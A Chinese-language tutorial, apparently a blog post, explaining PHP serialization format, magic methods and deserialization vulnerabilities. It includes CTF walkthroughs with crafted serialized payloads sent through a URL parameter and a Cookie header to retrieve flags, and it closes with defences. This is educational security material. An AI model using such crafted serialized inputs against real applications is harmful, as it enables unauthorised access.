PHP序列化漏洞实战:反序列化攻击的奥秘

一、什么是序列化?大白话解释

序列化 = 把变量(数组、对象等)转成字符串,方便存储或传输

反序列化 = 把字符串还原成原来的变量

举个例子:你要把一个对象存到数据库里,但数据库只认字符串,那就先序列化成字符串,存进去;下次取出来时,再反序列化还原成对象。

核心函数

复制代码
serialize()     // 对象 → 字符串
unserialize()   // 字符串 → 对象

二、序列化格式速查

基本类型

类型 格式 示例
字符串 s:长度:"内容" s:5:"hello"
整数 i:数值 i:18
浮点数 d:数值 d:3.14
布尔值 b:0或1 b:1
数组 a:长度:{...} a:2:{i:0;s:3:"abc";i:1;i:123;}
对象 O:类名长度:"类名":属性数:{...} O:6:"Person":2:{...}
NULL N N

实例:序列化一个字符串

复制代码
<?php
echo serialize('derry');
// 输出: s:5:"derry";
?>

s = string(字符串)

5 = 长度是5个字符

"derry" = 内容


三、无类序列化漏洞实战

案例1:最简单的反序列化漏洞

代码

复制代码
<?php
error_reporting(0);
include "flag.php";
$KEY = "derry";
$str = $_GET['x'];
if(unserialize($str) === $KEY) {
    echo "$flag" ."</br>";  
}
show_source(__FILE__);
?>

分析 :只要我们传入的 x 反序列化后等于 "derry",就能拿到 flag!

解题步骤

1. 先把 "derry" 序列化:

复制代码
<?php
echo serialize('derry');
// 输出: s:5:"derry";
?>

1. 构造URL:

复制代码
http://127.0.0.1/1.php?x=s:5:"derry";

拿到flag!


案例2:CTF真题(Cookie传参)

代码

复制代码
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") {   
    echo "$flag";
}
// ... 省略HTML ...
$KEY = 'ISecer:www.isecer.com'; 
?>

分析

• 数据从 Cookie 的 ISecer 字段传入

• 反序列化后要等于 $KEY,但 $KEY 定义在代码最后

• PHP 的变量定义顺序不影响判断,关键是 $KEY 的值

解题步骤

方法一:正常序列化

复制代码
<?php
echo serialize('ISecer:www.isecer.com');
// 输出: s:21:"ISecer:www.isecer.com";
?>

用 Burp Suite 抓包,修改 Cookie:

复制代码
Cookie: ISecer=s:21:"ISecer:www.isecer.com";

方法二:利用变量未定义漏洞

由于 $KEY 在使用后才定义,此时 $KEY 其实是 NULL 或空字符串!

复制代码
<?php
echo serialize("");
// 输出: s:0:"";
?>

修改 Cookie:

复制代码
Cookie: ISecer=s:0:"";

成功拿到flag!


四、类序列化:对象也能序列化

序列化一个对象

复制代码
<?php 
class Person { 
    public $name = 'derry'; 
    public $age = 18; 
} 
$p = new Person(); 
$obj = serialize($p); 
print_r($obj); 
?>

输出

复制代码
O:6:"Person":2:{s:4:"name";s:5:"derry";s:3:"age";i:18;}

解析:

O = Object(对象)

6:"Person" = 类名长度6,类名是Person

2 = 有2个属性

{s:4:"name";s:5:"derry";s:3:"age";i:18;} = 属性列表

反序列化还原对象

复制代码
<?php 
class Person { 
    public $name = 'derry'; 
    public $age = 18; 
} 
$clz = 'O:6:"Person":2:{s:4:"name";s:8:"derry666";s:3:"age";i:18;}';
$per = unserialize($clz);
echo $per->name;  // 输出: derry666
?>

注意:反序列化时,类必须存在,否则会失败!


五、魔术方法:反序列化的关键

魔术方法是PHP的特殊方法,以 __ 开头,在特定时机自动调用。反序列化漏洞常利用这些方法!

1. __construct()__destruct()

复制代码
<?php
class Person {
    public $name = 'derry';
    
    function __construct() {
        echo "对象创建时调用 __construct<br>";
    }
    
    function __destruct() {
        echo "对象销毁时调用 __destruct<br>";
    }
}

$a = new Person();  // 触发 __construct
echo serialize($a); // 序列化
// 脚本结束时触发 __destruct
?>

2. __sleep()__wakeup()

这是反序列化漏洞最常用的两个方法!

复制代码
<?php
class Person {
    public $name = 'derry';
    
    function __sleep() {
        echo "序列化前调用 __sleep<br>";
        return array("name");  // 返回要序列化的属性名
    }
    
    function __wakeup() {
        echo "反序列化后调用 __wakeup<br>";
    }
}

$a = new Person();
echo serialize($a);  // 触发 __sleep

$b = 'O:6:"Person":1:{s:4:"name";s:5:"derry";}';
unserialize($b);     // 触发 __wakeup
?>

关键点

__sleep()serialize() 时调用

__wakeup()unserialize() 时调用 ← 漏洞利用点!

3. __get()__set()

访问不存在或不可访问的属性时触发:

复制代码
<?php
class Person {
    private $str = 'hello';
    
    function __get($name) {
        echo "读取不可访问属性时调用 __get<br>";
        return $this->str;
    }
    
    function __set($name, $value) {
        echo "设置不可访问属性时调用 __set<br>";
        $this->str = $value;
    }
}

$a = new Person();
echo $a->age;      // 触发 __get(age属性不存在)
$a->age = 13;      // 触发 __set
?>

4. __call()__callStatic()

调用不存在的方法时触发:

复制代码
<?php
class Person {
    function __call($method, $args) {
        echo "调用不存在方法时触发 __call<br>";
    }
    
    public static function __callStatic($method, $args) {
        echo "调用不存在静态方法时触发 __callStatic<br>";
    }
}

$a = new Person();
$a->method();        // 触发 __call
Person::method2();   // 触发 __callStatic
?>

5. __toString()

对象被当字符串使用时触发:

复制代码
<?php
class Person {
    public $name = 'derry';
    
    function __toString() {
        return $this->name;
    }
}

$a = new Person();
echo $a;  // 触发 __toString,输出: derry
?>

6. __invoke()

对象被当函数调用时触发:

复制代码
<?php
class Person {
    function __invoke($p1, $p2) {
        return $p1 . "---" . $p2;
    }
}

$a = new Person();
echo $a("hello", "world");  // 触发 __invoke,输出: hello---world
?>

7. __isset()__unset()

对不可访问属性调用 isset()unset() 时触发:

复制代码
<?php
class Person {
    private $name;
    
    function __isset($name) {
        echo "调用 __isset<br>";
    }
    
    function __unset($name) {
        echo "调用 __unset<br>";
    }
}

$person = new Person();
isset($person->name);   // 触发 __isset
unset($person->name);   // 触发 __unset
?>

六、魔术方法速查表

魔术方法 触发时机 常见用途
__construct() 创建对象时 初始化
__destruct() 销毁对象时 清理资源
__sleep() serialize() 指定要序列化的属性
__wakeup() unserialize() 反序列化漏洞核心!
__get() 读取不可访问属性时 动态属性访问
__set() 设置不可访问属性时 动态属性设置
__call() 调用不存在方法时 方法拦截
__callStatic() 调用不存在静态方法时 静态方法拦截
__toString() 对象转字符串时 输出格式化
__invoke() 对象当函数调用时 闭包模拟
__clone() clone 克隆对象时 深拷贝
__isset() 对不可访问属性 isset() 属性检测
__unset() 对不可访问属性 unset() 属性删除

七、反序列化漏洞原理

漏洞本质 :用户可控的字符串被 unserialize() 反序列化,触发魔术方法执行恶意代码!

典型攻击链

复制代码
用户输入恶意序列化字符串 
    ↓
unserialize() 反序列化 
    ↓
触发 __wakeup() 或 __destruct() 
    ↓
执行恶意代码(读文件、RCE等)

八、防御方法

防御措施 具体做法
禁用反序列化 不使用 unserialize(),改用 json_decode()
白名单校验 只允许特定类被反序列化
签名验证 序列化数据加签名,反序列化前验证
过滤危险类 检查序列化字符串中的类名

PHP配置

复制代码
; 禁用反序列化(极端做法)
disable_functions = unserialize

安全替代方案

复制代码
// 不安全
$obj = unserialize($data);

// 安全:使用 JSON
$obj = json_decode($data, true);

总结

序列化漏洞的核心

1. 用户能控制序列化字符串的内容

2. unserialize() 会触发魔术方法

3. 魔术方法里可能执行危险操作

记住一句话 :永远不要对用户输入的数据直接调用 unserialize()

相关推荐
清晨0011 小时前
工业互联网实时数据统计一致性保障 — 基于 Redis Lua 的并发安全方案
redis·安全·lua
swordbob1 小时前
prototype 注入到 singleton 里,prototype是否还是线程安全的
安全·spring·单例模式·原型模式
风曦Kisaki1 小时前
#Linux监控与安全Day01:Zabbix部署全流程,基础监控配置与自定义监控项
linux·运维·安全·云计算·zabbix
云边云科技_云网融合10 小时前
云边云科技亮相 2026 WOD 制造业数智化博览会 云网融合赋能制造焕新
人工智能·科技·安全·制造
56AI12 小时前
2026 企业级AI智能体开发平台推荐:聚焦底层安全与准确率的智能体平台
人工智能·安全·智能体
站斧小威13 小时前
TikTok跨境电商浏览器怎么使用:多账号防关联,IP独立隔离
安全
galaxylove15 小时前
Gartner发布创新洞察:AI SOC智能体加速通信运营商安全运营转型
大数据·人工智能·安全
lcreek16 小时前
SQL 注入实战:DVWA High 完整测试指南
网络安全·sql注入
●VON18 小时前
AtomGit Flutter鸿蒙客户端:数据模型
android·服务器·安全·flutter·harmonyos·鸿蒙